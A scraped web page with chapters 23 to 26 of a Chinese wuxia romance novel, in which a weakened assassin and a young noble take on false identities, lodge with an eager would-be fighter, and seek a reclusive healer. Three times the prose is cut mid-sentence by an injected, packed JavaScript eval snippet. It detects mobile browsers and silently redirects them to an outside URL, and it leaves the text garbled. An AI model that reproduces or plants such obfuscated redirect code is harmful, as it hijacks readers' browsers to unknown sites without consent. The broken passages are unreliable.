方隐攸抬眼轻扫他一眼,似笑非笑的说到:“柳公子如今能一掌将我打晕,若是潜心习武,日后可有大造化。” 柳傅文呵呵一笑,“本公子才不愿意做什么武夫。” 说罢,他起身朝外走去,“既然没事了就下楼去吃饭吧。” “我武功暂失了。” “什么!” 柳傅文惊讶的打了个趔趄,然后迅速回身望着他,眼神错愕不已,“你刚刚说什么?” 方隐攸的神情比他平静不少,“我说我的武功暂失了。” 柳傅文冲回床边,一把掀开他身上的棉被,双手在他身上反复探寻,“受伤了?我也没有下重手啊,真的就打了一掌,怎么就武功尽失了呢?” 柳傅文盯着他的侧脸,任由他在自己身上胡来。 “我也不知道为什么,但是只是暂失,不是尽失。” 柳傅文嗖到一下站了起来,不可置信的盯着他,“有区别吗?那个戴面具的随时会来,暂失也足够他一剑杀了你。” “所以我们得瞒过他。” “瞒?”柳傅文呵呵一笑,“你说瞒就能瞒过去的吗?你武功还在不在他能看不出来?” “他是个蠢货,看不出来。” 方隐攸翻身下床,整理好被柳傅文情急之下弄乱的衣裳,语气没有丝毫的波动,“你去给我买一身宽袖长袍、一根发簪,还有一个可以放下可生剑的盒子。” “你要做什么?” “乔装打扮。”说着,方隐攸抬手扯下头上的发带,“要玉簪,不要木簪。” 柳傅文皱着眉,狐疑的盯着他来回踱步,“他真的看不出来?” “他追了我两年,我比你了解他。” 柳傅文还是不信,“要是被他发现了怎么办?” 方隐攸露出一个诡异的表情,眼神轻飘飘的落在他的身上,“不是还有你吗?” “我?”柳傅文往后撤一步,“我能怎么办?” 方隐攸不再多言,伸手轻拍一下他的肩膀,“快去吧。” 柳傅文咬咬唇,不满的横了他一眼,但是也只能认命的出去按他吩咐的做事。 确定柳傅文已经下楼离开以后,方隐攸走到窗户边,沉默的盯着窗沿看了许久,然后伸手推开窗户,面无表情的看着窗沿外的横梁上不知谁留下的半个脚印。 看来,他昏睡的时候柳傅文见过别人。 方隐攸呵呵一笑,关上窗户,走到茶几边给自己倒了一杯温茶,静静地等待着柳傅文。 柳傅文替方隐攸备好一身行装并没有花费多久功夫,他进门后将一大包东西扔在桌子上,“你看看,这些行不行?” 方隐攸起身打开一个个包裹,从里面拿出一件靛青色丝质长袍细细打量,“不错。” 柳傅文得意的挑挑眉,“那是自然,本公子买的都是上好的料子。”说着,他捡起长袍的衣袖递到方隐攸面前,上面是大片的竹节刺绣,“这可是城中最好的绣娘修的。” 方隐攸点点头,脱下身上的黑色长衫抖开长袍穿在身上,这袍子比他想象中的合身许多,他系着腰间的腰带朝柳傅文笑了笑,“多谢。” 柳傅文轻哼一声,然后从包裹里拿出一根玉簪递给他,“按你说的,买的上好昆山玉的料子。” 方隐攸接过发簪,捏在手里细细打量,玉簪细长,簪头被雕刻成一个精致细腻的莲花状,看上去十分雅致。 柳傅文朝他使了个眼色,“坐下,我替你簪发。” 方隐攸点点头,坐到凳子上,然后将发簪还给他,由着他在自己头顶上捯饬半天。 “好了。” 柳傅文说完往后撤了一步,围着方隐攸转了一圈,沾沾自喜的拍了拍手,“我这手艺真不错,南蛮来的武夫看上去也有了几分贵公子模样。” 方隐攸轻抬眼皮,嘲弄的扫了他一眼,然后看向桌子上那个长长的木盒子,起身将可生剑放在了里面。 柳傅文拿起包裹里面的一柄折扇递给他,“这几天你就先拿着这个吧。” 方隐攸微微皱了皱眉,并不想摆弄这种读书人喜欢的玩意。 柳傅文拿起他的手将扇子塞了进去,“哪个公子哥手里不拿一把扇子?” 说着,他拿起另一把扇子在手里甩开,然后装模作样在身前晃了晃,“怎么样?看上去是不是玉树临风?” 说完他挑挑眉,朝方隐攸露出一个矜持端庄的浅笑。 方隐攸呵呵一笑,“纨绔。” 柳傅文闻言愤愤的收起折扇,然后朝他额前一敲,“狗嘴里吐不出象牙!” “这些共花了白银三十两,记你的账上。” 方隐攸无所谓的点点头。“好。” 忽然,楼下传来一阵喧闹声,柳傅文的手一顿,迅速走出房门,站在扶栏边朝下看去。 方隐攸走到他身后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810162|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“怎么了?” 柳傅文抬手阻止他的靠近,“有熟人,那个送你马的陈生在下面。” 方隐攸脚步一顿,那人功夫不低,保不准一眼看出他如今武功尽失,于是他往后退回房间,然后直接关上了房门。 柳傅文听到关门的声音一愣,不可置信的回头一看,暗骂一句然后继续看着楼下的动静。 陈生身后跟着的不止早上那四个人,柳傅文粗略的数了下,加上陈生竟然有二十三个人,他们个个手握长剑,凶神恶煞的扫视了大堂里面的人,看样子是在寻人。 掌柜的走上前去想要询问他们此番来意,却被他直接反手撂倒,然后他朝着身后的人一挥手,他们就立刻涌入大堂,开始对每一桌的客人进行盘问。 柳傅文退回房间里,将自己看到的告诉方隐攸。 “我们需要离开吗?”柳傅文问道。 “要。” “为什么?陈生找的不是我们。” 方隐攸看着紧闭的屋门,“那你知道他找的是谁吗?” 柳傅文一愣,“不知道,可是那有什么关系?不是我们不就可以了吗?” “江湖中人,遇到武功比自己高的都会有所忌惮,不然你以为他早上为什么将马送给我?难道真的是想要交下我这个朋友?”方隐攸嗤笑一声,“不过是不敢和我硬碰硬罢了,如今我武功暂失,若是被他看出来,你说他杀不杀我?” 柳傅文脸上的表情瞬间僵住,他垂下眼不知道在想些什么。 方隐攸盯着他的眉眼,似笑非笑的说道,“柳傅文,你想我死吗?” 柳傅文抬眼看着他,“我为什么想要你死?” 方隐攸往后退一步,倚在屏风上,脸上表情平和,眼中含着十足的笑意,“我只是随口一说,不过你如果想要我死,现在倒是一个很好的借刀杀人的机会。” 柳傅文闻言恶狠狠的瞪着他,白皙的脸上涨红一片,猩红的嘴也咬了起来,手指着他的脸,“我柳傅文从来没想过要你死!” 方隐攸撇撇嘴,了然的点点头,看向桌上的木盒,“那你背着可生剑,和我一起翻窗出去吧。” 柳傅文的怒火瞬间熄灭,手指着自己,“我?替你背着可生?” “不然呢?”方隐攸轻轻摇着手中的折扇,“难道要本公子亲自背吗?” 柳傅文看看他,又看看自己,忽然反应过来自己给他买的衣裳比自己身上这件确实华丽不少,单论外表着实他更像公子。 柳傅文长呼一口气,调解一下郁闷的心,然后提起方盒背在背上,朝着他皮笑肉不笑的说,“走吧,方公子。” 方隐攸手里的折扇忽然抵在柳傅文嘴上,朝他勾了勾唇,凑近他露出一个揶揄的笑,“恢复武功之前,记得叫我柳公子,我叫柳傅文。” 柳傅文睁大眼睛,“那我呢?” “你叫什么有什么关系?” 说罢,方隐攸撑住窗户,轻轻一跳,咚的一声落在了墙角下。 他不是第一次翻窗,但是这是他第一次脚落地时发出这么大的声响,方隐攸无声的叹了一口气,退开一步,仰头看着还站在窗边犹豫的柳傅文。 “跳下来。” 柳傅文看他一眼,将背后的可生拿到身前抱住,然后跳到他的面前。 24. 武痴窦步初 方隐攸十分不习惯的摇着折扇,眼角余光落在身旁一脸郁闷的柳傅文身上。 “饿不饿?” 柳傅文闻言几乎想要哈哈大笑,他扯扯嘴角,“我饿什么?应该问柳公子你饿不饿才对。” 方隐攸忍不住轻笑出声,眉眼弯弯的朝他赞许的点点头,“身份适应的不错。” 两人没走几步,迎面而来的一个身穿紫色锦衣的男子忽然驻足,打量他们几眼以后朝他们走了过来。 他看着柳傅文,迟疑的叫到:“柳傅文?” 方隐攸闻言眼中瞬间升起警惕的光,这人怎么知道他此刻叫柳傅文? 柳傅文却知道前因后果,连忙一把扯住方隐攸,在他耳边小声的迅速解释,“你先前忽然发作,这人及时出手,阻止了你杀那个白衣公子,他问我你在江湖上的名号,我怕说出你方隐攸的大名有损你的名声,便说你是京城柳傅文。” 方隐攸垂眼看他,眼神莫测的呵呵一笑,“那真是巧了。” 柳傅文讪讪的推开他,“谁说不是呢?” 方隐攸朝着那个锦衣公子微微一笑,“是我,怎么了?” 锦衣公子握拳一拜,“我叫窦步初,先前看你拔剑速度极快,猜想你的武艺肯定不凡便想和你结识。只是你哥哥说你犯了病,我也就打消了这个念头。” 说着,他上前一步,“但是没想到又与你相遇了,你我有缘,不如交个朋友?” 方隐攸笑笑不说话,偏过头压着嗓子,从喉咙里蹦出两个字,“哥哥?” 柳傅文尴尬的扯了扯嘴角,将他拉倒身后挡住,“我弟弟也就眼下看着正常,不知道什么时候就犯病了,哪里配得上做公子你的友人。”说着,他朝身后一指,“刚刚就是因为犯了病,我们两个都被酒楼的店家赶出来了。” “还有这回事?”窦步初愤愤不平的说到,“柳大哥别担心,你们两兄弟住我府上便可。” “啊?” “那便多谢窦兄了。”方隐攸将脸从柳傅文的肩膀上露出来,“我和我哥哥感激不尽。” 柳傅文连忙回身凑到方隐攸耳边小声说,“你不怕他发现你武功尽失?” “一个功夫平平的武痴,若是要发现早就发现了。” 方隐攸安抚的拍了拍柳傅文的肩膀,又朝着窦步初微微一笑,“那便请窦兄引路吧?” 窦步初点点头,十分潇洒的转身领着两人回府。 一路上柳傅文都在方隐攸耳边小声质问他,为什么这么笃定窦步初发现不了。 方隐攸充耳不闻,嘴角挂则浅笑,时不时的摇动手里的折扇,倒也真的有几分读书人的文雅模样。 柳傅文看着他的这副模样却更加焦灼,“你现在这幅做派哪里还有半点武艺不凡的样子?” 方隐攸手里的折扇再次抵在他的唇上,侧过脸贴近他的耳朵小声说道,“此人憧憬江湖,又不曾踏入过江湖,一个人对江湖一知半解的时候,最好糊弄。” “就算是对你我有所怀疑,也会替我们找出合理的理由来解释。” 柳傅文皱起眉,“那你还骗他?” “不是你先骗他的?” “我那不是为了你吗?而且我没有任何恶意!” “我现在难道有恶意吗?”方隐攸抬手轻敲他背后的木盒子,“不过是找个安全的地方暂住一宿,吃顿饭而已。” 方隐攸眼珠一转,似笑非笑的说,“你若是良心不安,那离开的时候多给他留些银子。” “你付账。” 方隐攸呵呵一笑,“我良心很安。” 说完,他上前一步和窦步初并肩而行,笑问道,“窦兄用的是哪门兵器?” 窦步初难为情的搓搓手,“我只会些拳脚功夫,还未选用兵器。” “这样啊。”方隐攸看着前路,貌似无意到,“窦兄手长脚长,手腕灵活,可以用长枪” “真的吗?”窦步初有些犹疑的看向方隐攸,“可是...我从未使过。” “用枪不过扎、刺、挞、抨、缠、圈、拦、拿、扑、点、拨,其中你只需掌握前四招便可。” 说完,他用折扇轻点窦步初肩头,“明日,我教你几招。” 窦步初眼中惊喜万分,十分激动的说到,“此话当真?” “嗯。”方隐攸点点头,“不过我只教一遍。” “足矣!”窦步初哈哈大笑,“我见过柳兄使剑,那可不是一般人能使出来的。” 方隐攸回首和身后怒目瞪着自己的柳傅文对视一眼,露出一个安抚的笑,然后朝着窦步初歉意一笑,“不过我身体有恙,兵器具体如何使还需要我哥哥来教你。” 窦步初看向柳傅文,“那便劳烦柳大哥了。”说罢,他惭愧的笑了笑,“还未曾问过柳大哥如何称呼?” 柳傅文表情一僵,脸不红心不跳的说到,“柳隐攸。” “原来是隐攸兄。” 方隐攸用折扇挡住脸,笑的肩膀微颤,又在窦步初看向他时面不改色的拿下折扇。 虽然在方隐攸看到窦步初的第一眼就知道他大概是个富家公子,但是当被他带着走进一个八进八出的院子的时候还是有些震惊。 窦步初却不知道方隐攸的内心活动,只看着他们身上穿的都是上好的布料,便以为他们定然也是家底丰实的人。 他将人带到一处名为落雪的院子里,然后又吩咐人准备了晚膳,最后在离开前再三嘱咐方隐攸两人,让他们将这里当做自家,无需客气,今夜先好好休息,明日早饭时候他再过来。 方隐攸笑着将他送走,然后十分惬意的躺在院中的一张竹摇椅上,看着头顶花开的正艳丽的桃树。 他感慨一句,“没想到,这一路上还能有这么舒坦的时候。” 柳傅文呵呵一笑,走到他身边的石桌边坐下,将背上的可生放到桌子上后揉了揉后颈处。 “明日真的要教他耍枪?” “为什么不?”方隐攸侧过身子看他,“你不是说我们不该骗他,那便教他些武艺当作回报。” “我不会枪,怎么教他?” “晚上我先教你,明日你再教他。” 柳傅文扯了扯嘴角,“我学不会怎么办?” “他也不会,看不出来你会不会。”方隐攸说完挑挑眉,“不过我若是你,便会用心学,然后教会他。” “为什么?” “因为你良心不安。” 方隐攸语气如常,眼神却诡异莫测,他用折扇轻点前额,貌似无意的叹息一句,“良心不安呐——” 柳傅文面无表情的盯着他,沉默许久后嗯了一声,“我会努力学,明天用心教他。” “如此甚好。” 等到两人吃过饭,天色也已经黑了。 窦步初念着他们是江湖人,行事洒脱不羁,应该不喜欢有人围着,问过他们也确实不需要下人伺候的时候,离开之前顺路带走了所有的下人。 这也就方便了方隐攸可以坐在院子里,一边赏月一边教柳傅文用枪。 “双腿下蹲,两手分握枪柄上下端,然后腰间用力下沉,右手肩膀带动手肘往前伸、推动左手往前递,双手手腕用力下压将枪尖下刺。” 柳傅文照着他的说动作,手里的长枪用力刺向地面。 “右腿前跨步,左腿后撤,右手握住枪尾抡一圈后下劈,左手接枪用力一推让枪尖前扎。” 柳傅文做完动作后瞥他一眼,“这样吗?” 方隐攸撑住下巴,打量了一眼他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810163|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的动作,摇摇头,“左手上抬,你的枪尖对准的应该是敌人的腹部。” 说完,他起身围着柳傅文转了两圈,用脚轻轻踢了一下他的左腿,“脚踩地要实,不然手中力道就会虚。” 柳傅文噢一声,然后照他说的做。 方隐攸满意的点点头,退后一步给他让出空间,继续道:“双腿前后相错一掌,膝盖微曲,站稳脚跟,气沉丹田,双手前后握枪,用力左右挥打。” 柳傅文依言照做,但是方隐攸却啧啧嘴,十分不满意的摇了摇头,“丹田中无气,导致手臂无力,挥打的速度太慢,便会显得招式太柔。” 柳傅文无语的瞥他一眼,吸了一口气沉入丹田,刚想挥枪,就被方隐攸用折扇抵住了枪杆。 方隐攸眉眼含笑的盯着他,手腕一转,折扇被他反握在手里,然后轻轻朝着柳傅文的侧腰一拍,“沉住气!” 柳傅文被他打的一抖,“你做什么?” “教你用枪。”方隐攸语气调侃,折扇顺势而上,从他的手腕滑到他握枪的手上,然后在他带着些红的指节上一点,“握好!” 坚硬的触感打在柳傅文的骨头上,有点痛,又有麻,让他忍不住手一抖,长枪忽然下坠。 方隐攸抬脚勾住长枪,往上一踢然后伸手握住枪,带着几分责备的看了一眼柳傅文,“枪都握不住。” 柳傅文猛地的抢过枪,然后愤愤的按照他的说姿势来回挥枪。 方隐攸见状轻笑出声,“对,就是要这般用力,这才叫耍枪,手上软绵绵的,那叫绣花。” 两人最后在院子里练了将近两个时辰的长枪才进屋,柳傅文换身酸痛的瘫倒在床上,恶狠狠的盯着坐在软榻上轻摇折扇的方隐攸。 方隐攸被他这么看着,并没有任何不悦,反倒十分得意的挑挑眉,“怎么样?我这师父教的好吧,区区两个时辰,便能让一个贵公子学会用枪。” 柳傅文瞪他一眼,转身背着他看着墙面,他十分不解,自己怎么就稀里糊涂的真的跟着他使了两个小时的枪。 方隐攸看着他的背影无声的笑了会,然后清了清嗓子温声道,“过来,我给你按按肩膀,不然你明日早上起来会酸。” 柳傅文沉默不语,没有回应他。 方隐攸起身走到床边,直接扶住他的肩膀开始按摩。 柳傅文猛地坐起来,不可置信的看着他,“我答应让你给我按了吗?” 方隐攸但笑不语,长臂一伸握住他的肩膀,指腹微微用力一按,酸麻的感觉让柳傅文忍不住眯着眼哼了一声。 然后他又迅速反应过来,恶狠狠的瞪着方隐攸,作势要挥开他的手。 “怪我,下次不练这么久了。” 方隐攸盯着他的眼睛,软下嗓音道歉,说完,他往前挪了挪,哄劝一声,“让我给你好好按按,好不好?” 烛台在方隐攸的身后,他此刻背着光,眉眼不甚清晰,但是柳傅文也不知道自己为什么能从他的眼中窥见几分柔情。 是那种十分细腻的情感,就好像他晚饭时喝的那一碗莲子羹,甜而不腻,清香扑鼻,吃下去时会让人感觉十分幸福。 柳傅文感觉自己肯定是生病了,所以眼前才会出现幻觉,但是就算如此,他依旧没有再躲,而是沉默的盯着方隐攸朦胧的眉眼,任由他在自己身上动作。 方隐攸感觉到柳傅文的放松,嘴角忍不住勾了勾,心里暗叹一声这人果然是好哄,手上继续着动作,然后装作无意的扫了他一眼,才发觉他竟然正盯着自己出神。 方隐攸眉头轻蹙,不知道他在想些什么,只觉得这唇红齿白的贵公子出神的模样倒是十分俊俏。 等到柳梢头上的月亮逐渐偏东后,两人才终于躺下休息,然后一觉无梦到天明。 25. 寻医 第二日柳傅文醒来时发觉自己身上没有任何不适感,他十分不自在的瞥了一眼站在窗边望着院子里发呆的方隐攸。 方隐攸仿佛脑后长了双眼睛,忽然说道,“醒了?” 柳傅文翻身下床,十分纳闷的走到他身边问他,“你不是武功暂失了吗?怎么还能知道我醒没醒?” “你动静太大,我不聋。” 说着,方隐攸打开房门走进院子,闭着眼睛躺在摇椅上,清晨的日光并不刺眼,恰好落在他的眉心,将他的眼瞳照成透彻的琉璃。 柳傅文站在他的面前,挡住太阳,在他脸上投下一片阴影。 方隐攸无语的瞥他一眼,“走开。” 柳傅文不动,抬手扯下头顶的一根桃花枝握在手里把玩,上面花朵繁密,艳艳灼灼。 “我们什么时候离开?” “等你教过窦步初。”方隐攸起身走到太阳底下,手插着腰仰头晒太阳。 正说着,院门忽然被敲响,窦步初在外面问道,“柳兄起了吗?” “起了。” 方隐攸转身去打开院门,让窦步初进来。 窦步初今日穿的一件湖蓝色窄袖长衫,头发一丝不苟的束在头顶,一进来就一把揽住方隐攸的肩膀,“柳兄,你何时让柳大哥教我用枪?” 说着,他有些难为情的摸了摸鼻子,“为这事,我昨夜一晚上没睡,闭眼就是自己威武耍枪的场面。” 方隐攸和柳傅文对望一眼,“吃过早饭我哥哥便去教你。” “你呢?”窦步初不解的看着他,“你不来吗?” 方隐攸摇摇头,手握拳堵在嘴前,装模作样的咳嗽一声,“我就不了,昨夜受了点风寒,身子不太舒服。” “柳兄受寒了?”窦步初一惊,连忙转身就走,“你且等着,我这就去给你叫大夫。” 方隐攸看着他的背影,呼喊道,“多谢窦兄!” 窦步初很快就带着大夫回来了,是一个胡子花白的胖老翁,肩上背着一个木盒子,一进院子视线就在方隐攸身上来回扫了几圈,看得他心里发毛。 窦步初扯着大夫的衣袖直接往方隐攸面前推,“干爹,您快帮柳兄看看,他昨夜感了风寒。” 干爹!方隐攸一愣,这人难道不是市井里的寻常大夫? 老翁呵呵一笑,眼角眯成一条线,胖乎乎的大手在窦步初的肩膀上拍了拍,“步初别慌,干爹这就为他看看。” 老翁朝着方隐攸使了个眼色,“小兄弟,进屋吧,我替你把把脉。” 方隐攸心里有些犹豫,担心这人真的看出点什么来,柳傅文这时候上前一步,拦在方隐攸面前,朝着窦步初说道,“我弟弟身体没大碍,随便开一副治风寒的药方便可,不需要这么麻烦。” 老翁抬手捋一把胡须,不赞同的摇摇头,“不可,是药三分毒,怎可不把脉就开药方的。” “柳大哥,我干爹之前乃是御药房里的御医,你让他给柳兄把把脉,正好可以看看柳兄身上的顽疾。”说完,窦步初看着干爹,“干爹,柳兄昨日还有些不能自控的症状,你可以一道瞧瞧。” 老翁眼中浮起几分探究,他眯着眼看向方隐攸,“不能自控?” 方隐攸摇摇头,“我不记得有此事。” 窦步初诶了一声,“柳兄怎么会不记得,我昨日亲眼所见...” 柳傅文忽然一把扯住窦步初的衣袖,将他拉倒一旁,小声说,“窦小弟,我弟弟每每发病之后便会失去这段记忆,他心高气傲、性格又偏激,若是知晓自己有这种顽疾只怕接受不了,我们便也一直在有意隐瞒这件事。” 说着,他语气变得谨慎,“我看我弟弟眼下已经起疑,今日这事不可再说,你且让你干爹给他开一副治风寒的药,至于其他的,我们从长再议。” 窦步初一听低声惊呼一声,不动声色的用眼角余光观察着方隐攸,发觉他此刻脸色凝重,眼神幽深,一脸心事重重的模样,赶紧点头说道:“好好好,我这就去让我干爹开药方。” 等到窦步初将老翁拉倒一边窃窃私语,柳傅文走到方隐攸身边,呵呵一笑,低声嘲弄,“这就是你要来窦步初这里蹭吃蹭喝的下场。” “我怎么知道他有个做御医的干爹?” “今日教过他用枪以后我们就赶紧离开,免得夜长梦多。” “嗯。”方隐攸看他一副提心吊胆的模样,轻笑一声用折扇轻拍了一下他的后腰,在他瞪向自己的时候温声安抚,“就算被这老翁看出来了也没事,大不了我们再换个身份、行头。” “两个人知晓,就会有二十个人知晓,再是二百个人知晓,最后,就是那个戴面具的提剑来找你。” 说着,柳傅文眼神警告的盯着和他,压着嗓音一字一句的说,“此事,越少人知晓越好!” 老翁最后按照窦步初所说直接给方隐攸开了一副药,然后就离开了。 窦步初手里拿着字迹未干的药方递给下人去抓药,自己到方隐攸院子里面陪着他们一道吃过早饭,然后和柳傅文一起去自己院子里面学枪。 临走时候,他还仔细叮嘱方隐攸要好生歇着,别累到自己。 方隐攸点点头,等到他们离开以后将院门栓好,脸色迅速沉了下来。 他反手一挥衣袖,冷着脸进屋拿出可生剑,然后走到桃树下拔剑出鞘,落在剑刃上的光反射到他的眉眼间,森然无比。 方隐攸握紧可生,狠狠的朝着树干挥出一剑,剑刃虽入木三分,却也仅此而已。 要是往日里,他手腕一震,这棵桃树顷刻间便会炸裂,桃花缤纷。 但是现在,他就如同柳傅文口中的武夫,只有蛮力,毫无用处。 方隐攸长呼一口气,将剑入鞘,然后沉默的看着自己的掌心,上面纹路清晰分明,看不出半点异样,为什么使不出内力呢? 过了许久,方隐攸忽然抬腿猛踹一脚树干,桃花抖了几下,飘落一阵花瓣雨。 方隐攸闭上眼睛仰起头,让花瓣一片片落在自己的脸上。 他的眉眼清俊,阳光落在脸庞肤上,透着一股温润,花瓣轻轻柔柔的触碰他的肌肤,让他焦躁的心得到瞬间舒缓。 等到日光渐暖,方隐攸才回屋歇着,他打了小半会的盹,柳傅文就回来了。 他径直推开门进屋,然后将榻上的方隐攸拉了起来,顺手扶住他的肩膀将他摇醒,“幽州 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810164|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西北方向的城郊外二十几里路处有一座仓崂山,山脚下有一处山谷,里面住着一位名医,我们现在就去找他。” 方隐攸迷蒙的睁开眼,“找他做什么?” “弄清楚你的武功为什么没了,还有你体内的邪气究竟是怎么一回事!”说着,柳傅文转身将可生背在背上,“窦步初那里我已经打过招呼了,说是要去拜访一位老友,他安排了马车送我们过去。” 方隐攸慢慢悠悠下了榻,貌似无意的问道,“你怎么会知道那名医的所在?” 柳傅文脚步一顿,一脸莫名的看着方隐攸,“现在是在乎这些事情的时候吗?” “你难道不想早日将武力恢复?” “你好歹是个天下第一刺客,最在乎的难道不是你那一身功夫?” “怎么总喜欢问些细枝末节的东西?本末倒置!莽夫!” 柳傅文语速极快的说了一大通,最后忍不住拿手点着方隐攸额头,痛心疾首的长叹一句,“可叹本公子如今和你是一条船上的蚂蚱。” 说罢,他垂下头,伸手扶住额头,连连摇头,装得十分的无奈的模样。 方隐攸但笑不语,直到柳傅文等了许久都没有听到他的反应,忍不住用眼角余光偷瞟他时,方隐攸才伸手轻推他的后背,“走吧。” 窦步初不仅给他们安排了马车,还亲自驾马相送,一路上都十分热情的叮嘱方隐攸,“柳兄拜会了老友再回幽州时可来窦府寻我!” 方隐攸反手用折扇撩开马车的竹帘,望着他笑了笑,“好,到时候我定和我哥哥一起来与窦兄相会。” 窦步初满意的大笑一声,将手中的长枪在身前耍了几个花招,“柳兄,你看我这长枪使的如何?” 方隐攸闻言,心里暗叹:才学会两个时辰,能如何?当然是狗屁不是。 柳傅文一撇他的神色就知道他心里在说些什么,连忙挤开他,露出脸朝着窦步初喊道,“步初的长枪使得不错,只是还需要多加练习才是。 ” “柳大哥放心,我必然会勤学苦练,等我爹同意我行走江湖时,这江湖中必然会有我手中长缨枪的一席之地。” 柳傅文赞许的点点头,“这是必然。” 方隐攸半倚在茶几上,笑看着柳傅文忽悠窦步初,小声提醒,“你让他盲目自信,小心他骄傲自负得罪不该得罪的人。” 柳傅文侧过脸看着他,“窦步初心善,不是那样的人。” “你和他昨日才相识,今日就敢笃定他的为人?” “那是因为你不知道他从你的可生剑下救人时有多凶险,那时候你双目猩红,浑身充满杀气,他和你、和那位白衣公子都素不相识,就敢出手相救。”说着,他眉峰一挑,“你说他这人善不善?” 方隐攸从帘子缝隙中瞥见窦步初的侧脸,他神色肆意,就像是刚刚燃起的火焰,热烈而向荣。 “那不是善,是无知者无畏。” 柳傅文眉头轻蹙,不赞成的横他一眼,“方隐攸,你性格太偏激了。” “有吗?” 方隐攸垂首看着身侧的茶几,轻轻抠着上面的篾条,语气十分寡淡的继续道,“那便是有吧。” 26. 仓崂山谷山一 仓崂山陡而高,山上多赤松,一年到头郁郁葱葱,远远望去,高山万古长青。 山谷在山背面,想要过去要么翻越高山,要么另辟蹊径——从山西北角的一处幽径中穿过。 只是这幽径蜿蜒曲折,周围都是些大树和及人高的杂草,里面时常有凶猛野兽出没,所以,就算是知道了名医就在山谷,也鲜少有人去拜访。 马车最后停在了山脚下,方隐攸和柳傅文下了马车,然后拍了拍马背,让它自己拖着车回城。 柳傅文看着马车摇摇晃晃的离开,感慨一句,“也不知道我那匹良驹在酒楼中如何了。” “饿不死。”方隐攸用折扇指了指那条窄的可怜的道路,“这条路可不好走。” 柳傅文将手里的弓箭递给方隐攸,“给你,你现在能用的也就这个了。” 方隐攸看着面前的长弓,十分嫌弃的撇撇嘴,“用弓箭者,皆是躲在暗处偷袭之徒,可耻。” “那是对人,这山林里多野兽,你用箭不算偷袭。” 说着,柳傅文直接将弓箭按在他的怀里,“快拿着。” 方隐攸深呼一口气,接过弓箭挂在自己的肩膀上。 柳傅文打量他一眼,这弓箭是他特意为方隐攸选的,弓臂上雕着繁复的纹路,涂着红漆,弓弦拉力巨大,威力也就甚猛,对付奔袭而来的野兽刚好。 刚踏入山林,两人的视野立刻变得闭塞起来,只能看到不超过五丈远的地方,再远些便是浓雾。 “这山林中有诡异。”方隐攸眼神警惕的环顾周围,朝着身前的柳傅文说道。 柳傅文手里拿着一根木棍,挥动着打下挡住前路的树枝和杂草,一开始并没有听清楚方隐攸说了些什么,等到方隐攸又说了一遍他才恍然的点点头。 “那是自然,不然你以为那位名医为何住在这后面的山谷里。” 方隐攸跟着他的步伐往前走,沉默着不说话。 过了大概半柱香的功夫,柳傅文忽然停下了脚步,他狐疑的咦了一声,然后转头看向方隐攸,“没路了。” 方隐攸立刻跨步到他身前,前方一棵粗壮的大树堵在路上,周围还有一排树呈直线排开,树枝严丝合缝的交错,就像是一堵墙将两人堵在这里。 “要不穿过去?”柳傅文指着两棵树之间宽约两掌的空隙,“应该可以,我去试试。” 方隐攸一把拉住他,摇了摇头,“既然有这排树挡着,那么就表示此路不通,应当另想办法。” 就在这时,山林中忽然腾起一股烟雾,它扩散的十分迅速,立刻就将方隐攸和柳傅文两个人包围。 “屏气!” 方隐攸高呼一声,然后连忙用衣袖捂住口鼻,可是还是慢了一步,他闻到了烟雾中有一股馥郁的香味,然后就感觉到心脏跳的飞快,带动他的耳膜鼓动,咚咚声敲打在他的脑门。 方隐攸垂着头重重的喘息几口,伸手往前一抓,想要将柳傅文护在自己身后。 可是,他的手在周身探了几圈都没有碰到柳傅文,再定眼一看,自己已经置身于白茫茫、空荡荡的一片云雾中,而柳傅文也早已经不见踪迹。 他下意识的将肩上的长弓拉开,警惕的环顾四周,眼神森然,眼中腾起浓郁的杀气。 “因何来此?” 一道空洞悠扬的声音贴着他的头皮响起,方隐攸迅速朝着头顶射出一箭,但是长箭犹如石子落入深渊,没有任何回响。 他往后退一步,仰起头望着白茫茫的头顶,高喝一声,“谁!” “因何来此?” 又是一声询问,那人的语气依旧,空空荡荡,如眼前的白雾一般,摸不到实处。 方隐攸眉头紧锁,再次拉弓射箭,这一次射向的是正前方。 长箭划破长空,随后发出一声清脆的声响,然后便是箭头射入树干的闷响。 前面有人! 方隐攸虎视眈眈的看着前方,再次拉弓搭箭,质问道,“你是谁?” “你来寻我,反倒问我是谁?可笑。” 方隐攸闻言一愣,他竟然就是谷中名医谷山一。 方隐攸迅速收起了弓箭,“在下不知何因内力尽失,所以来此寻医。” “内力尽失?”谷山一喃喃一句,“你可是江湖中人?” “是。” “既如此,那你便回吧。” “为何?” “我不欲入江湖,不救江湖人。” 